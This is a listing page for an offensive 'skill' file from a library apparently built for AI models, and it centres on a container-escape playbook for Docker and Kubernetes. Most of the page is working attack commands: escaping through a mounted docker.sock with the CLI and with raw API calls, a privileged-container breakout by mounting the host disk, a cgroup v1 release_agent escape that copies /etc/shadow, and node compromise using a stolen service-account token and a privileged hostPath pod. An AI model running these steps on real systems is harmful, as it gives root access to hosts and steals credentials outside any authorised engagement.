Container escape
OmniRed: Multi-AI offensive security skills library for Claude, ChatGPT, Gemini & Microsoft Copilot — with unique MCP, LLM-pipeline, and AI-native attack categories. By Sunil Gentyala, Independent Researcher.
npx -y skills add sunilgentyala/OmniRed --skill container-escapeAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
2 things to look at
- no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
- 0 stars0 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Container escape methodology for Docker and Kubernetes. Covers privileged container breakout, mounted socket exploitation, capabilities abuse, cgroup v1 escape, and K8s node compromise.
The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
3.0 KB, as published. Nobody here has run it
Container Escape
Phase 1 — Enumerate Container Context
# Am I in a container?
cat /proc/1/cgroup | grep docker
ls /.dockerenv
# What privileges do I have?
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')
# Is Docker socket mounted?
ls -la /var/run/docker.sock
# Is the container privileged?
ip link add dummy0 type dummy 2>&1 | grep -v "Permission denied"
# → if no error, you likely have CAP_NET_ADMIN (privileged indicator)
Attack 1 — Docker Socket Escape
If /var/run/docker.sock is mounted:
# Start a new privileged container with host filesystem mounted
docker -H unix:///var/run/docker.sock run -it --rm \
--privileged --pid=host --net=host \
-v /:/host ubuntu chroot /host
# OR via API directly (no docker CLI needed)
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/create" \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu","Cmd":["/bin/bash"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
Attack 2 — Privileged Container Breakout
# Mount host filesystem via device access
fdisk -l # find host disk (e.g., /dev/xvda1)
mkdir /mnt/host
mount /dev/xvda1 /mnt/host
chroot /mnt/host /bin/bash # shell as root on host
Attack 3 — cgroup v1 Escape (CVE-2022-0492)
# Requires CAP_SYS_ADMIN or unconfined seccomp
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 1
cat /output
Kubernetes Node Escape
# From compromised pod — access node via service account token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/nodes
# Escalate via privileged pod (if create pod permissions exist)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
spec:
hostPID: true
hostNetwork: true
containers:
- name: escape
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOF
Tools
MITRE ATT&CK
- T1611 — Escape to Host
- T1552.007 — Container API